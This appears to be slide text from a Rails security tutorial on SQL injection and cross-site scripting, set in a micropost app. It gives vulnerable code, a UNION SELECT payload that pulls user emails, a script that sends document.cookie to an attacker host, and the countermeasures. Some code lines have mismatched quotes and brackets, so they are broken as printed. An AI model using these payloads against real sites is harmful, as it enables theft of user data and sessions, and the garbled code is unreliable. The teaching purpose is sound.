SQL INJECTION
@results = Micropost.where( "content LIKE '%#{params[:query]%’”).all SELECT 'microposts'.* FROM 'microposts’
WHERE (content LIKE ’%SEARCHSTRING%’) SQL Injection
SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%SEARCHSTRING%') SQL Injection
XXX') UNION SELECT 1, email, 1, 1, 1 FROM users --
SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%XXX') UNION SELECT

@results = Micropost.where( "content LIKE ?’, "%#{params[:query]}%”) ).all SQL Injection
- countermeasures
CROSS SITE SCRIPTING XSS
<span class="content"> <%= raw feed_item.content %> </span> XSS
<script> document.write('<img src= "http://www.attacker.com/x.png?' + document.cookie + ’” >'); </script>
XSS
<span class="content"> <%= sanitize feed_item.content, :tags => ['a’] %> </span>
XSS - countermeasures
